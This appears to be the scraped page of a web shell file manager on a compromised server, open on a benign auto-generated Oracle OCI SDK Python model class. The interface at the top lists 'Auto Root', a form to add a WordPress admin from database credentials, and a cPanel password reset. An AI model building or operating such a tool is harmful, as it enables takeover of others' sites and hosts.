Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
log_analytics
models
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: log_analytics_entity.py
# coding: utf-8 # Copyright (c) 2016, 2024, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. # NOTE: This class is auto generated by OracleSDKGenerator. DO NOT EDIT. API Version: 20200601 from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401 from oci.decorators import init_model_state_from_kwargs @init_model_state_from_kwargs class LogAnalyticsEntity(object): """ Description of a log analytics entity. """ #: A constant which can be used with the lifecycle_state property of a LogAnalyticsEntity. #: This constant has a value of "ACTIVE" LIFECYCLE_STATE_ACTIVE = "ACTIVE" #: A constant which can be used with the lifecycle_state property of a LogAnalyticsEntity. #: This constant has a value of "DELETED" LIFECYCLE_STATE_DELETED = "DELETED" def __init__(self, **kwargs): """ Initializes a new LogAnalyticsEntity object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param id: The value to assign to the id property of this LogAnalyticsEntity. :type id: str :param name: The value to assign to the name property of this LogAnalyticsEntity. :type name: str :param compartment_id: The value to assign to the compartment_id property of this LogAnalyticsEntity. :type compartment_id: str :param entity_type_name: The value to assign to the entity_type_name property of this LogAnalyticsEntity. :type entity_type_name: str :param entity_type_internal_name: The value to assign to the entity_type_internal_name property of this LogAnalyticsEntity. :type entity_type_internal_name: str :param lifecycle_state: The value to assign to the lifecycle_state property of this LogAnalyticsEntity. Allowed values for this property are: "ACTIVE", "DELETED", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type lifecycle_state: str :param lifecycle_details: The value to assign to the lifecycle_details property of this LogAnalyticsEntity. :type lifecycle_details: str :param management_agent_id: The value to assign to the management_agent_id property of this LogAnalyticsEntity. :type management_agent_id: str :param management_agent_display_name: The value to assign to the management_agent_display_name property of this LogAnalyticsEntity. :type management_agent_display_name: str :param management_agent_compartment_id: The value to assign to the management_agent_compartment_id property of this LogAnalyticsEntity. :type management_agent_compartment_id: str :param timezone_region: The value to assign to the timezone_region property of this LogAnalyticsEntity. :type timezone_region: str :param properties: The value to assign to the properties property of this LogAnalyticsEntity. :type properties: dict(str, str) :param creation_source: The value to assign to the creation_source property of this LogAnalyticsEntity. :type creation_source: oci.log_analytics.models.CreationSource :param time_created: The value to assign to the time_created property of this LogAnalyticsEntity. :type time_created: datetime :param time_updated: The value to assign to the time_updated property of this LogAnalyticsEntity. :type time_updated: datetime :param time_last_discovered: The value to assign to the time_last_discovered property of this LogAnalyticsEntity. :type time_last_discovered: datetime :param metadata: The value to assign to the metadata property of this LogAnalyticsEntity. :type metadata: oci.log_analytics.models.LogAnalyticsMetadataSummary :param are_logs_collected: The value to assign to the are_logs_collected property of this LogAnalyticsEntity. :type are_logs_collected: bool :param cloud_resource_id: The value to assign to the cloud_resource_id property of this LogAnalyticsEntity. :type cloud_resource_id: str :param hostname: The value to assign to the hostname property of this LogAnalyticsEntity. :type hostname: str :param source_id: The value to assign to the source_id property of this LogAnalyticsEntity. :type source_id: str :param freeform_tags: The value to assign to the freeform_tags property of this LogAnalyticsEntity. :type freeform_tags: dict(str, str) :param defined_tags: The value to assign to the defined_tags property of this LogAnalyticsEntity. :type defined_tags: dict(str, dict(str, object)) """ self.swagger_types = { 'id': 'str', 'name': 'str', 'compartment_id': 'str', 'entity_type_name': 'str', 'entity_type_internal_name': 'str', 'lifecycle_state': 'str', 'lifecycle_details': 'str', 'management_agent_id': 'str', 'management_agent_display_name': 'str', 'management_agent_compartment_id': 'str', 'timezone_region': 'str', 'properties': 'dict(str, str)', 'creation_source': 'CreationSource', 'time_created': 'datetime', 'time_updated': 'datetime', 'time_last_discovered': 'datetime', 'metadata': 'LogAnalyticsMetadataSummary', 'are_logs_collected': 'bool', 'cloud_resource_id': 'str', 'hostname': 'str', 'source_id': 'str', 'freeform_tags': 'dict(str, str)', 'defined_tags': 'dict(str, dict(str, object))' } self.attribute_map = { 'id': 'id', 'name': 'name', 'compartment_id': 'compartmentId', 'entity_type_name': 'entityTypeName', 'entity_type_internal_name': 'entityTypeInternalName', 'lifecycle_state': 'lifecycleState', 'lifecycle_details': 'lifecycleDetails', 'management_agent_id': 'managementAgentId', 'management_agent_display_name': 'managementAgentDisplayName', 'management_agent_compartment_id': 'managementAgentCompartmentId', 'timezone_region': 'timezoneRegion', 'properties': 'properties', 'creation_source': 'creationSource', 'time_created': 'timeCreated', 'time_updated': 'timeUpdated', 'time_last_discovered': 'timeLastDiscovered', 'metadata': 'metadata', 'are_logs_collected': 'areLogsCollected', 'cloud_resource_id': 'cloudResourceId', 'hostname': 'hostname', 'source_id': 'sourceId', 'freeform_tags': 'freeformTags', 'defined_tags': 'definedTags' } self._id = None self._name = None self._compartment_id = None self._entity_type_name = None self._entity_type_internal_name = None self._lifecycle_state = None self._lifecycle_details = None self._management_agent_id = None self._management_agent_display_name = None self._management_agent_compartment_id = None self._timezone_region = None self._properties = None self._creation_source = None self._time_created = None self._time_updated = None self._time_last_discovered = None self._metadata = None self._are_logs_collected = None self._cloud_resource_id = None self._hostname = None self._source_id = None self._freeform_tags = None self._defined_tags = None @property def id(self): """ **[Required]** Gets the id of this LogAnalyticsEntity. The log analytics entity OCID. This ID is a reference used by log analytics features and it represents a resource that is provisioned and managed by the customer on their premises or on the cloud. :return: The id of this LogAnalyticsEntity. :rtype: str """ return self._id @id.setter def id(self, id): """ Sets the id of this LogAnalyticsEntity. The log analytics entity OCID. This ID is a reference used by log analytics features and it represents a resource that is provisioned and managed by the customer on their premises or on the cloud. :param id: The id of this LogAnalyticsEntity. :type: str """ self._id = id @property def name(self): """ **[Required]** Gets the name of this LogAnalyticsEntity. Log analytics entity name. :return: The name of this LogAnalyticsEntity. :rtype: str """ return self._name @name.setter def name(self, name): """ Sets the name of this LogAnalyticsEntity. Log analytics entity name. :param name: The name of this LogAnalyticsEntity. :type: str """ self._name = name @property def compartment_id(self): """ **[Required]** Gets the compartment_id of this LogAnalyticsEntity. Compartment Identifier `OCID]`__. __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm :return: The compartment_id of this LogAnalyticsEntity. :rtype: str """ return self._compartment_id @compartment_id.setter def compartment_id(self, compartment_id): """ Sets the compartment_id of this LogAnalyticsEntity. Compartment Identifier `OCID]`__. __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm :param compartment_id: The compartment_id of this LogAnalyticsEntity. :type: str """ self._compartment_id = compartment_id @property def entity_type_name(self): """ **[Required]** Gets the entity_type_name of this LogAnalyticsEntity. Log analytics entity type name. :return: The entity_type_name of this LogAnalyticsEntity. :rtype: str """ return self._entity_type_name @entity_type_name.setter def entity_type_name(self, entity_type_name): """ Sets the entity_type_name of this LogAnalyticsEntity. Log analytics entity type name. :param entity_type_name: The entity_type_name of this LogAnalyticsEntity. :type: str """ self._entity_type_name = entity_type_name @property def entity_type_internal_name(self): """ **[Required]** Gets the entity_type_internal_name of this LogAnalyticsEntity. Internal name for the log analytics entity type. :return: The entity_type_internal_name of this LogAnalyticsEntity. :rtype: str """ return self._entity_type_internal_name @entity_type_internal_name.setter def entity_type_internal_name(self, entity_type_internal_name): """ Sets the entity_type_internal_name of this LogAnalyticsEntity. Internal name for the log analytics entity type. :param entity_type_internal_name: The entity_type_internal_name of this LogAnalyticsEntity. :type: str """ self._entity_type_internal_name = entity_type_internal_name @property def lifecycle_state(self): """ **[Required]** Gets the lifecycle_state of this LogAnalyticsEntity. The current state of the log analytics entity. Allowed values for this property are: "ACTIVE", "DELETED", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :return: The lifecycle_state of this LogAnalyticsEntity. :rtype: str """ return self._lifecycle_state @lifecycle_state.setter def lifecycle_state(self, lifecycle_state): """ Sets the lifecycle_state of this LogAnalyticsEntity. The current state of the log analytics entity. :param lifecycle_state: The lifecycle_state of this LogAnalyticsEntity. :type: str """ allowed_values = ["ACTIVE", "DELETED"] if not value_allowed_none_or_none_sentinel(lifecycle_state, allowed_values): lifecycle_state = 'UNKNOWN_ENUM_VALUE' self._lifecycle_state = lifecycle_state @property def lifecycle_details(self): """ **[Required]** Gets the lifecycle_details of this LogAnalyticsEntity. lifecycleDetails has additional information regarding substeps such as management agent plugin deployment. :return: The lifecycle_details of this LogAnalyticsEntity. :rtype: str """ return self._lifecycle_details @lifecycle_details.setter def lifecycle_details(self, lifecycle_details): """ Sets the lifecycle_details of this LogAnalyticsEntity. lifecycleDetails has additional information regarding substeps such as management agent plugin deployment. :param lifecycle_details: The lifecycle_details of this LogAnalyticsEntity. :type: str """ self._lifecycle_details = lifecycle_details @property def management_agent_id(self): """ Gets the management_agent_id of this LogAnalyticsEntity. The OCID of the Management Agent. :return: The management_agent_id of this LogAnalyticsEntity. :rtype: str """ return self._management_agent_id @management_agent_id.setter def management_agent_id(self, management_agent_id): """ Sets the management_agent_id of this LogAnalyticsEntity. The OCID of the Management Agent. :param management_agent_id: The management_agent_id of this LogAnalyticsEntity. :type: str """ self._management_agent_id = management_agent_id @property def management_agent_display_name(self): """ Gets the management_agent_display_name of this LogAnalyticsEntity. Management agent (management-agents resource kind) display name :return: The management_agent_display_name of this LogAnalyticsEntity. :rtype: str """ return self._management_agent_display_name @management_agent_display_name.setter def management_agent_display_name(self, management_agent_display_name): """ Sets the management_agent_display_name of this LogAnalyticsEntity. Management agent (management-agents resource kind) display name :param management_agent_display_name: The management_agent_display_name of this LogAnalyticsEntity. :type: str """ self._management_agent_display_name = management_agent_display_name @property def management_agent_compartment_id(self): """ Gets the management_agent_compartment_id of this LogAnalyticsEntity. Management agent (management-agents resource kind) compartment OCID :return: The management_agent_compartment_id of this LogAnalyticsEntity. :rtype: str """ return self._management_agent_compartment_id @management_agent_compartment_id.setter def management_agent_compartment_id(self, management_agent_compartment_id): """ Sets the management_agent_compartment_id of this LogAnalyticsEntity. Management agent (management-agents resource kind) compartment OCID :param management_agent_compartment_id: The management_agent_compartment_id of this LogAnalyticsEntity. :type: str """ self._management_agent_compartment_id = management_agent_compartment_id @property def timezone_region(self): """ Gets the timezone_region of this LogAnalyticsEntity. The timezone region of the log analytics entity. :return: The timezone_region of this LogAnalyticsEntity. :rtype: str """ return self._timezone_region @timezone_region.setter def timezone_region(self, timezone_region): """ Sets the timezone_region of this LogAnalyticsEntity. The timezone region of the log analytics entity. :param timezone_region: The timezone_region of this LogAnalyticsEntity. :type: str """ self._timezone_region = timezone_region @property def properties(self): """ Gets the properties of this LogAnalyticsEntity. The name/value pairs for parameter values to be used in file patterns specified in log sources. :return: The properties of this LogAnalyticsEntity. :rtype: dict(str, str) """ return self._properties @properties.setter def properties(self, properties): """ Sets the properties of this LogAnalyticsEntity. The name/value pairs for parameter values to be used in file patterns specified in log sources. :param properties: The properties of this LogAnalyticsEntity. :type: dict(str, str) """ self._properties = properties @property def creation_source(self): """ Gets the creation_source of this LogAnalyticsEntity. :return: The creation_source of this LogAnalyticsEntity. :rtype: oci.log_analytics.models.CreationSource """ return self._creation_source @creation_source.setter def creation_source(self, creation_source): """ Sets the creation_source of this LogAnalyticsEntity. :param creation_source: The creation_source of this LogAnalyticsEntity. :type: oci.log_analytics.models.CreationSource """ self._creation_source = creation_source @property def time_created(self): """ **[Required]** Gets the time_created of this LogAnalyticsEntity. The date and time the resource was created, in the format defined by RFC3339. :return: The time_created of this LogAnalyticsEntity. :rtype: datetime """ return self._time_created @time_created.setter def time_created(self, time_created): """ Sets the time_created of this LogAnalyticsEntity. The date and time the resource was created, in the format defined by RFC3339. :param time_created: The time_created of this LogAnalyticsEntity. :type: datetime """ self._time_created = time_created @property def time_updated(self): """ **[Required]** Gets the time_updated of this LogAnalyticsEntity. The date and time the resource was last updated, in the format defined by RFC3339. :return: The time_updated of this LogAnalyticsEntity. :rtype: datetime """ return self._time_updated @time_updated.setter def time_updated(self, time_updated): """ Sets the time_updated of this LogAnalyticsEntity. The date and time the resource was last updated, in the format defined by RFC3339. :param time_updated: The time_updated of this LogAnalyticsEntity. :type: datetime """ self._time_updated = time_updated @property def time_last_discovered(self): """ Gets the time_last_discovered of this LogAnalyticsEntity. The date and time the resource was last discovered, in the format defined by RFC3339. :return: The time_last_discovered of this LogAnalyticsEntity. :rtype: datetime """ return self._time_last_discovered @time_last_discovered.setter def time_last_discovered(self, time_last_discovered): """ Sets the time_last_discovered of this LogAnalyticsEntity. The date and time the resource was last discovered, in the format defined by RFC3339. :param time_last_discovered: The time_last_discovered of this LogAnalyticsEntity. :type: datetime """ self._time_last_discovered = time_last_discovered @property def metadata(self): """ Gets the metadata of this LogAnalyticsEntity. :return: The metadata of this LogAnalyticsEntity. :rtype: oci.log_analytics.models.LogAnalyticsMetadataSummary """ return self._metadata @metadata.setter def metadata(self, metadata): """ Sets the metadata of this LogAnalyticsEntity. :param metadata: The metadata of this LogAnalyticsEntity. :type: oci.log_analytics.models.LogAnalyticsMetadataSummary """ self._metadata = metadata @property def are_logs_collected(self): """ Gets the are_logs_collected of this LogAnalyticsEntity. The Boolean flag to indicate if logs are collected for an entity for log analytics usage. :return: The are_logs_collected of this LogAnalyticsEntity. :rtype: bool """ return self._are_logs_collected @are_logs_collected.setter def are_logs_collected(self, are_logs_collected): """ Sets the are_logs_collected of this LogAnalyticsEntity. The Boolean flag to indicate if logs are collected for an entity for log analytics usage. :param are_logs_collected: The are_logs_collected of this LogAnalyticsEntity. :type: bool """ self._are_logs_collected = are_logs_collected @property def cloud_resource_id(self): """ Gets the cloud_resource_id of this LogAnalyticsEntity. The OCID of the Cloud resource which this entity is a representation of. This may be blank when the entity represents a non-cloud resource that the customer may have on their premises. :return: The cloud_resource_id of this LogAnalyticsEntity. :rtype: str """ return self._cloud_resource_id @cloud_resource_id.setter def cloud_resource_id(self, cloud_resource_id): """ Sets the cloud_resource_id of this LogAnalyticsEntity. The OCID of the Cloud resource which this entity is a representation of. This may be blank when the entity represents a non-cloud resource that the customer may have on their premises. :param cloud_resource_id: The cloud_resource_id of this LogAnalyticsEntity. :type: str """ self._cloud_resource_id = cloud_resource_id @property def hostname(self): """ Gets the hostname of this LogAnalyticsEntity. The hostname where the entity represented here is actually present. This would be the output one would get if they run `echo $HOSTNAME` on Linux or an equivalent OS command. This may be different from management agents host since logs may be collected remotely. :return: The hostname of this LogAnalyticsEntity. :rtype: str """ return self._hostname @hostname.setter def hostname(self, hostname): """ Sets the hostname of this LogAnalyticsEntity. The hostname where the entity represented here is actually present. This would be the output one would get if they run `echo $HOSTNAME` on Linux or an equivalent OS command. This may be different from management agents host since logs may be collected remotely. :param hostname: The hostname of this LogAnalyticsEntity. :type: str """ self._hostname = hostname @property def source_id(self): """ Gets the source_id of this LogAnalyticsEntity. This indicates the type of source. It is primarily for Enterprise Manager Repository ID. :return: The source_id of this LogAnalyticsEntity. :rtype: str """ return self._source_id @source_id.setter def source_id(self, source_id): """ Sets the source_id of this LogAnalyticsEntity. This indicates the type of source. It is primarily for Enterprise Manager Repository ID. :param source_id: The source_id of this LogAnalyticsEntity. :type: str """ self._source_id = source_id @property def freeform_tags(self): """ Gets the freeform_tags of this LogAnalyticsEntity. Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{\"bar-key\": \"value\"}` :return: The freeform_tags of this LogAnalyticsEntity. :rtype: dict(str, str) """ return self._freeform_tags @freeform_tags.setter def freeform_tags(self, freeform_tags): """ Sets the freeform_tags of this LogAnalyticsEntity. Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{\"bar-key\": \"value\"}` :param freeform_tags: The freeform_tags of this LogAnalyticsEntity. :type: dict(str, str) """ self._freeform_tags = freeform_tags @property def defined_tags(self): """ Gets the defined_tags of this LogAnalyticsEntity. Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{\"foo-namespace\": {\"bar-key\": \"value\"}}` :return: The defined_tags of this LogAnalyticsEntity. :rtype: dict(str, dict(str, object)) """ return self._defined_tags @defined_tags.setter def defined_tags(self, defined_tags): """ Sets the defined_tags of this LogAnalyticsEntity. Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{\"foo-namespace\": {\"bar-key\": \"value\"}}` :param defined_tags: The defined_tags of this LogAnalyticsEntity. :type: dict(str, dict(str, object)) """ self._defined_tags = defined_tags def __repr__(self): return formatted_flat_dict(self) def __eq__(self, other): if other is None: return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other